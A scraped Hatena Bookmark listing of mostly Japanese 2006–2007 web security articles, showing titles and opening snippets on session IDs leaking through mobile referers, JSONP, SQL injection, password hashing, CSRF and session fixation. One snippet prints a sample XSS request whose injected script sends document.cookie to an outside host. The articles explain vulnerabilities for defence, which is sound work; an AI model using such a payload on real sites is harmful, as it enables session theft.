携帯電話のリファラー（２） - teracc’s blog
多くの携帯サイトでは、GETパラメータでセッションIDの引き回しをしているようです。そのようなサイトでは、ユーザが外部サイトへのリンクを踏んだ際に、リファラーからセッションIDが外部サイトに漏れてしまう問題が指摘されています。 今日はこの問題について、思いつくことをいくつか書きます。 セッションIDの変更 奇妙に思われるかもしれませんが、単純にセッションIDを毎回変更することは、上記の問題を解決してくれます（ただし、後述するように副作用があります）。 例えば、http://www.example.com/a.cgi?SESSION=11111 にリクエストが来た場合、サーバ側ではセッションIDを変更し（ここでは22222に変更するとします）、以下のレスポンスを返すとします。 ■リクエスト GET http://www.example.com/a.cgi?SESSION=11111 HTTP
SQL Injection Cheat Sheet
Examples; (MS) means : MySQL and SQL Server etc. (M*S) means : Only in some versions of MySQL or special conditions see related note and SQL Server Table Of Contents About SQL Injection Cheat Sheet Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks Line Comments SQL Injection Attack Samples Inline Comments Classical Inline Comment SQL Injection Attack Samples MySQL Vers
2007-03-06
ケータイWebアプリの脆弱性問題は、私の専門分野であるので、もう少し突っ込んでみたいと思う。 高木浩光氏の高木浩光＠自宅の日記 - 携帯電話向けWebアプリの脆弱性事情はどうなっているのか 携帯電話Webアプリのセキュリティが怪しいという話はいろいろな人から耳にするが、携帯の世界では秘密保持契約による縛りがあって、皆それらを話せない状態になっているようだ。その結果として、脆弱性の実態が明らかにならないばかりか、正しい実装方法の普及が進まない。 この問いかけに対して、技術論ではなく、脆弱性検査を実施した結果の統計情報で回答する。 というには、私の勤務先では、まさにケータイ向けWeb脆弱性診断をやっていて、昨年一年間の脆弱性傾向の統計を発表しているからだ。 https://www.kccs.co.jp/contact/paper_websecurity/index.html このホワイトペーパ
Web Server's Default Page
You see this page because there is no Web site at this address.
セキュリティ専門家、「Month of PHP Bugs」プロジェクトを実施
あるセキュリティ専門家が、広く使用されるスクリプト言語「PHP」の脆弱性に焦点を当てたプロジェクトを発足した。 「Month of PHP Bugs」と名づけられたイニシアチブが米国時間3月1日に始まった。同プロジェクトのウェブサイトによると、現時点で、5件の脆弱性が公表されており、そのうち数件は、PHPを実行するシステムに問題を引き起こす危険性があるものだという。 著名なPHPセキュリティ専門家であるStefan Esser氏は、「本イニシアチブは、PHPのセキュリティを向上させることを目的とする」と同プロジェクトのウェブサイトに記している。バグ報告は、PHPコアにおける脆弱性を対象としたもので、PHPアプリケーションのセキュリティ性に影響を及ぼす可能性のあるPHP言語における問題点を対象としたものではないと、同氏は記述している。 PHPは、動的なウェブページを作成するためによく使用され
携帯業界の認証事情 - y-kawazの日記
巡回サイトの一つである高木浩光＠自宅の日記で以下のようなエントリーがあった。 高木浩光＠自宅の日記 - 携帯電話向けWebアプリの脆弱性事情はどうなっているのか ここではいつもの高木氏の口調で、「携帯向けWEBアプリ開発では未だにGETパラメータでセッションIDを渡しており、それはこれまでも何度もいかんことだと言っている。」というような内容が語られている。 確かにWEB+DBの記事に対して高木氏が注釈で言っているように「IPアドレスによる制限に関して書いていない」という点に関してはWEB+DB側の落ち度だと思う。実際これを行わない限り端末IDやユーザID*1による認証が意味をなさなくなってしまうからだ。*2 但し、キャリア毎にIPアドレス制限をする限りにおいては端末IDやユーザIDは偽装不可能*3なので、むしろ他人でも入力可能なパスワード認証よりも強力な認証かもしれません。逆にいえばその認
Kazuho@Cybozu Labs: JSONP - データ提供者側のセキュリティについて
« E4X-XSS 脆弱性について | メイン | 「スーパー技術者争奪戦」 » 2007年01月12日 JSONP - データ提供者側のセキュリティについて JSONP のセキュリティは、ともすればインクルードする側についての議論になりがちであり、その影でインクルードされる側のリスクが見過ごされがちです。JSONP の使用にあたっては、データ提供者への XSS に注意する必要があります。脆弱な例としては、以下のようなものがあります。 GET /json.cgi/append.html?padding=%3Cscript%3Elocation='http://example.jp/'%2Bdocument.cookie%3C/script%3E HTTP/1.0 Host: example.com HTTP/1.0 200 OK Content-Type: text/javascript;
高木浩光＠自宅の日記 - 携帯電話向けWebアプリの脆弱性事情はどうなっているのか
■ 携帯電話向けWebアプリの脆弱性事情はどうなっているのか WEB+DB PRESS誌のVol.37に「携帯サイト開発 実践テクニック 2007」という記事が掲載されているのだが、そこにこんな記述があった。 端末認証 登録が必要なサイトの場合，利用する際にはログインが必要です．ID/パスワードを毎回入力するのでは，携帯の場合では特に面倒です． そこで携帯ならではの認証方法として，現在の端末では取得が容易にできる端末自体の情報（端末ID）を利用します． （略） セッション PCサイトでセッションを使う場合は，通常セッションIDをCookieに保存しますが，携帯ブラウザではCookieにデータを保存することができません．そこで携帯サイトでCookieを使う場合はURLにセッションIDを埋め込むことになります． セッションIDをGETで渡す セッションIDをGETで渡す場合は，PHPの設定ファ
高木浩光＠自宅の日記 - WASF Times版「サニタイズ言うな！」
■ WASF Times版「サニタイズ言うな！」 技術評論社の「Web Site Expert 」誌に、Webアプリケーション・セキュリティ・フォーラム関係者の持ち回り企画「WASF Times」が連載されている。私の番も回ってきたので昨年9月発売号に寄稿させていただいた。近頃はサニタイズ言うなキャンペーンもだいぶ浸透してきたようだし、もういまさら不要という気もするが、以下、その原稿を編集部の承諾のもと掲載しておく。 「サニタイズしろ」だあ？ Webアプリを作ったらセキュリティ屋に脆弱性を指摘された――そんなとき、「入力をサニタイズしていない」なんて言われたことはありませんか？ 「入力」というのは、ブラウザから送信された情報をCGIパラメータとして受信した値のこと。これを「サニタイズしろ」というのです。なんでそんなことしないといけないの？プログラムの内容からして必要のないことなのに？ そう
Atom Authentication
December 17, 2003 Mark Pilgrim I wish I didn't need to write this article. My life would be much simpler if Atom could just use existing HTTP authentication, as-is. But it can't; I'm going to tell you why and then I'm going to tell you what we're doing instead. Let's back up. Atom, in case you missed it, is a new standard that uses XML over HTTP to publish and syndicate web-based content. It is in
Retired from security@php.net - PHP Security Blog
Last night I finally retired from the PHP Security Response Team, that was initially my idea a few years ago. The reasons for this are many, but the most important one is that I have realised that any attempt to improve the security of PHP from the inside is futile. The PHP Group will jump into your boat as soon you try to blame PHP's security problems on the user but the moment you criticize the
情報処理推進機構：情報セキュリティ：H18年度ウェブアプリケーション開発者向けセキュリティ実装講座の開催について
※講演資料を掲載しました。 独立行政法人 情報処理推進機構（IPA）は、安全なインターネットの利用をめざして、最近、IPAが届出を受けた脆弱性関連情報を基に、届出の多かった脆弱性や攻撃を受けた場合の影響度が大きい脆弱性を取り上げ、その解決策を紹介するセキュリティ実装講座を企画しました。 本講座は本年2月、4月に実施しましたが、好評でしたので、今回は、新たに脆弱性の深刻度評価を用いた届出情報の分析結果や、ウェブアプリケーションの発注者が考慮すべき点なども紹介します。また、開発者の方から安全なウェブアプリケーションの開発に向けた取組み状況を紹介していただきます。 IPAでは、2004年7月8日に脆弱性関連情報の届出受付を開始してから2年4ヶ月が経過し、10月末までにソフトウエア製品に関するもの330件、ウェブアプリケーション（ウェブサイト）に関するもの687件、合計1,017件となり、1
生パスワードDB記録と、ハッシュについての議論のつづき - こせきの日記
# あらいしゅんいち 『ああ、そういう意味でしたか。それは現実的には全く問題がないと思っていたのですが。どういうときに問題になるとおもうのですか？ データベースにアクセスできる人は、自由にシステムを使える人であるはずなので、どうせ自由にログインできるとおもうんですが。 どういう場合に問題になるのかは、自分も疑問だと思います。id:sshiさんの記事でその議論がされています。 http://d.hatena.ne.jp/sshi/20060329/p4 ただ、SQLインジェクションなんかでパスワード部分が漏れてしまい、そのDBに大した価値がなくて、認証後に利用可能になる(例えば特定のタイミングでの)別サービスとの通信に価値があるような場合は、あるかもしれないなーと思いました。 あとは、パスワードが特定のDBサーバに格納されていて、そのDBにだけSQLインジェクション脆弱性がある。他のDBには
「はてなはパスワードを生データで管理してる？」のはそんなに駄目なのか？ - sshi.Continual
http://d.hatena.ne.jp/ryoko_komachi/20060324/1143502995 はてなのDBにはパスワードがハッシュ値じゃなくて生のままはいってる！セキュリティ的に大丈夫なのか？っていうお話。何人か非難の声をあげている。 …ええっと、安全じゃない通信路(インターネット)に生のパスワードを流さずに済むダイジェスト系の認証を使おうとしたら、サーバ側には生パスワードがなきゃ無理だよね？認証する通信路の安全性の話に全く触れずに、パスワードの保存の仕組みだけを取りあげるのは何かおかしな話な気がする。勘違いがあったらご指摘ください。 生パスワードが流れても大丈夫なように認証を全てSSLで安全な通信路にすれば、ハッシュ値の保存だけで済んで安全っていう議論はありうるけど、そもそもそこまでする必要はあるんだろうか？パスワードDBが突破された後に守るべき物が残っているのだろうか
高木浩光＠自宅の日記 - 駄目な技術文書の見分け方 その1
■ 駄目な技術文書の見分け方 その1 はてなブックマークのホッテントリを見ていたところ、300を超えるユーザに登録された以下の記事があった。 今夜分かるSQLインジェクション対策, 上野宣, @IT, 2006年11月2日 また上野宣か。顔見知りなのでズバリいくことにする。 しかし、その対策はまだ本当に理解されていないように思える。 へえ。 終わりの方を見てみると、 Webアプリケーションの対策 入力値のSQLの特殊文字を適切にエスケープ 入力値＝プログラム（プロセス）に外部から入ってくるもの シフトJISの場合には1バイト文字を整理 SQLの記述をなくすためにO/R（Object/Relational）マッピングを活用 攻撃者に役立つ情報を与えないために、不要なエラーメッセージ（データベースが出力するエラーなど）の表示を抑止 対策に「準備された文」(prepared statement)
高木浩光＠自宅の日記 - ログイン前Session Fixationをどうするか
■ ログイン前Session Fixationをどうするか 21日の日記「Session Fixation脆弱性の責任主体はWebアプリかWebブラウザか」で、ブラウザベンダはCookie Monster問題をどうするのだろうかということについて書いたが、Firefox 2.0 について調べてみたところ、解決していなかった。また、IE 7 も解決していない。 そのような状況では、セッション追跡がcookieだけによって行われている場合であっても、Session Fixation攻撃に対して配慮せざるを得ない。 これまで、Session Fixation対策といえば、ログイン後の状態をセッションハイジャックされることの防止のみが語られることが多かったが、ログイン前についてはどうだろうか。 たとえば、ログイン前から使えるショッピングカートに対してSession Fixation攻撃が行われると
高木浩光＠自宅の日記 - ワンタイムパスワードは何のためにあるのか
■ ワンタイムパスワードは何のためにあるのか 先月、ジャパンネット銀行から「SecurID」が送られてきた。RSAセキュリティのワンタイムパスワード生成器（以下「トークン」）だ。ジャパンネット銀行は全口座の利用者に対してこれを配布している。 届いた郵便物には図1の案内状が入っていた。 ここに書かれていることは事実でないので、信じてはいけない。 2. トークンはスパイウェアに監視されないので安全です。 トークンはパソコン、携帯電話などと一切の通信を行いません。万が一パソコンや携帯電話がスパイウェア（不正プログラム）に感染しても、トークンに表示されたワンタイムパスワードが監視されることがなく安心です。 これを読んだユーザは、「今後はダウンロードした .exe ファイルを安心して実行できる」と思ってしまうかもしれないが、トロイの木馬（不正プログラム）を実行してしまっては、たとえこのワンタイムパス
高木浩光＠自宅の日記 - CSRF対策に「ワンタイムトークン」方式を推奨しない理由
水色の四角は画面を表し、白抜き実線枠の四角はボタンを表す。 これを、Webアプリという実装手法を選択する場合に特化すると、図2のような遷移図が描ける。 実線矢印はブラウザが送信するHTTPのrequest（ヘッダおよび、POSTの場合はボディを含む）を表し、黄色の丸がサーバ側での1アクセスの処理を表し、点線がその処理結果を返すHTTPのresponse（ヘッダおよび、HTML）を表す。responseの上の文はHTMLの内容を説明するものである。黄色の丸の中の文は処理内容の説明であり、ここから複数のresponse矢印が出ている場合、処理の結果によって遷移先の画面が異なる場合であることを表し、破線の白抜き四角がその分岐の条件を概説している。 この図で例に用いているのは、ECサイトやblogサービスなどに見られる典型的な「登録個人情報変更」の機能である。「メインメニュー」画面の「登録情報変更
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
http://www.dino.co.jp/business/solution/inspection.php
[Full-disclosure] Whitepaper by Amit Klein: "HTTP Response Smuggling"